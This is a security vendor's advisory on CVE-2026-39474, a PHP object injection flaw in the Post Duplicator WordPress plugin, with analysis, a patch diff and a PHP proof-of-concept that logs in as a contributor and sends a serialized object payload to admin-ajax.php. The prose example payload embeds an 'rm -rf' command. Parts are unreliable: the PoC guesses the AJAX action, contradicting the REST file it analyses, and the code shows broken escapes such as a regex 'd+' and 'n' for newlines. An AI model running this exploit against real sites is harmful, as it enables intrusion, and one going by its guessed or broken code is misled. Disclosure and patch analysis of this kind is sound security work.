Atomic Edge analysis of CVE-2026-39474:
This vulnerability is a PHP Object Injection flaw in the Post Duplicator plugin for WordPress, affecting versions up to and including 3.0.10. It allows authenticated attackers with contributor-level access or higher to inject arbitrary PHP objects via deserialization of untrusted input. The vulnerability resides in the plugin’s API endpoint that handles post duplication, specifically in the way it processes serialized custom field values. The CVSS score is 7.5 (High).
The root cause is in `/post-duplicator/includes/api.php`, specifically in the code block starting at line 169. The vulnerable code uses `maybe_unserialize()` on user-supplied serialized data without restricting allowed classes. When the value is serialized and `maybe_unserialize()` returns an object, the code proceeds to encode it via `wp_json_encode()`, which itself may trigger object instantiation. The critical issue is that `maybe_unserialize()` will instantiate any class defined in the serialized payload if that class is autoloaded, creating a PHP Object Injection vulnerability. The patch introduces a check using `preg_match(‘/^(?:O|C):d+:/’, $trimmed_value)` to detect serialized objects (both `O` for object and `C` for custom serialization) and treats them as plain strings, preventing deserialization entirely. For arrays, it uses `@unserialize()` with `’allowed_classes’ => false` to safely handle them without risking object injection.
To exploit this vulnerability, an attacker with contributor-level access sends a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to the plugin’s duplication AJAX hook (e.g., `mtphr_post_duplicator_duplicate` or similar). The attacker includes a serialized PHP object payload in one of the custom field values passed to the API. For example, the attacker could send a `meta_input` parameter containing a serialized object string like `O:14:”SomeClass”:1:{s:3:”cmd”;s:16:”rm -rf /tmp/…”;}`. The plugin then processes this value where the vulnerable code path deserializes it without restrictions, allowing object instantiation if a suitable POP chain exists in the WordPress environment (core, plugins, or themes). The exact AJAX action name is found in the plugin’s source; typical WordPress plugins register actions like `wp_ajax_mtphr_post_duplicator_duplicate`.
The patch modifies the same `api.php` file. Before the patch, the code called `maybe_unserialize($value)` directly and then checked if the result was an array or object. If it was an object, it was JSON-encoded (triggering potential object methods). After the patch, the code first checks if the serialized string represents an object or custom class using a regex (`/^(?:O|C):d+:/`). If matched, the code sets the type to ‘string’ and does not attempt deserialization. If the data is an array (no object pattern), it calls `@unserialize()` with `’allowed_classes’ => false`, which safely deserializes arrays without instantiating objects. This effectively removes the PHP Object Injection vector.
The impact of successful exploitation depends on the presence of a POP (Property Oriented Programming) chain in the WordPress installation. If a POP chain exists in another plugin, theme, or WordPress core itself, an attacker could achieve arbitrary code execution, delete arbitrary files, read sensitive data, or perform privilege escalation. Without a POP chain, the attacker may not be able to achieve code execution but could still cause unexpected behavior or denial of service via object instantiation. Given the high CVSS score and the presence of known POP chains in common WordPress environments, this vulnerability should be treated as critical and patched immediately.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/post-duplicator/assets/build/postDuplicator.asset.php
+++ b/post-duplicator/assets/build/postDuplicator.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '1af219442f1d0579b046');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '55eeb56b6b08e4dad43b');
--- a/post-duplicator/includes/api.php
+++ b/post-duplicator/includes/api.php
@@ -169,15 +169,21 @@
// Check if serialized
if ( is_serialized( $value ) ) {
$is_serialized = true;
- $unserialized = maybe_unserialize( $value );
- if ( is_array( $unserialized ) ) {
- $type = 'array';
- $value = wp_json_encode( $unserialized, JSON_PRETTY_PRINT );
- } elseif ( is_object( $unserialized ) ) {
- $type = 'object';
- $value = wp_json_encode( $unserialized, JSON_PRETTY_PRINT );
- } else {
+ $trimmed_value = trim( $value );
+
+ // Never decode serialized objects; keep them as raw strings.
+ if ( preg_match( '/^(?:O|C):d+:/', $trimmed_value ) ) {
$type = 'string';
+ } else {
+ $unserialized = @unserialize( $trimmed_value, array( 'allowed_classes' => false ) );
+ $is_valid_unserialized = ( false !== $unserialized || 'b:0;' === $trimmed_value );
+
+ if ( $is_valid_unserialized && is_array( $unserialized ) ) {
+ $type = 'array';
+ $value = wp_json_encode( $unserialized, JSON_PRETTY_PRINT );
+ } else {
+ $type = 'string';
+ }
}
} elseif ( is_numeric( $value ) ) {
// Check if it's a number (int or float)
--- a/post-duplicator/m4c-postduplicator.php
+++ b/post-duplicator/m4c-postduplicator.php
@@ -3,7 +3,7 @@
Plugin Name: Post Duplicator
Plugin URI: https://www.metaphorcreations.com/post-duplicator/
Description: Creates functionality to duplicate any and all post types, including taxonomies & custom fields
-Version: 3.0.10
+Version: 3.0.11
Author: Meta4Creations
Author URI: https://www.metaphorcreations.com/
License: GPL-2.0+
@@ -36,7 +36,7 @@
// Plugin version.
if ( ! defined( 'MTPHR_POST_DUPLICATOR_VERSION' ) ) {
- define( 'MTPHR_POST_DUPLICATOR_VERSION', '3.0.10' );
+ define( 'MTPHR_POST_DUPLICATOR_VERSION', '3.0.11' );
}
// Plugin Folder Path.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-39474 - Post Duplicator <= 3.0.10 - Authenticated (Contributor+) PHP Object Injection
// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site
$username = 'contributor'; // WordPress user with contributor role or higher
$password = 'password'; // Password for the above user
// Serialized object payload (example: a hypothetical POP chain gadget)
// Note: This is a placeholder; real exploitation requires a valid POP chain.
// The payload below demonstrates an object injection attempt.
$payload = 'O:14:"WP_HTML_Tag_Processor":0:{}'; // Example object (will likely not have a usable POP chain)
// Step 1: Authenticate and get nonce if needed
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_exec($ch);
curl_close($ch);
echo "[*] Authenticated as $usernamen";
// Step 2: Get the AJAX nonce for the duplicator action (if needed)
// NOTE: Many WordPress AJAX handlers don't require a nonce for authenticated users; adjust as needed.
$admin_url = $target_url . '/wp-admin/admin-ajax.php';
// Step 3: Send the AJAX request with the object injection payload
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'action' => 'mtphr_post_duplicator_duplicate', // Hypothetical AJAX action; check plugin source for exact name
'post_id' => 1, // ID of the post to duplicate (attacker must have access)
'meta_input' => serialize(['_injected' => $payload]) // Serialized array containing object payload
]);
$response = curl_exec($ch);
curl_close($ch);
echo "[*] Exploit payload sent. Response:n";
echo $response . "n";
// Note: This PoC sends a serialized object wrapped in an array.
// The vulnerable code path processes meta fields; if the plugin handles meta_input,
// it will eventually deserialize the 'meta_input' array and then handle each value.
// The actual metadata value (like '_injected') contains the object payload.
// Successful exploitation depends on plugin version and POP chain availability.
?>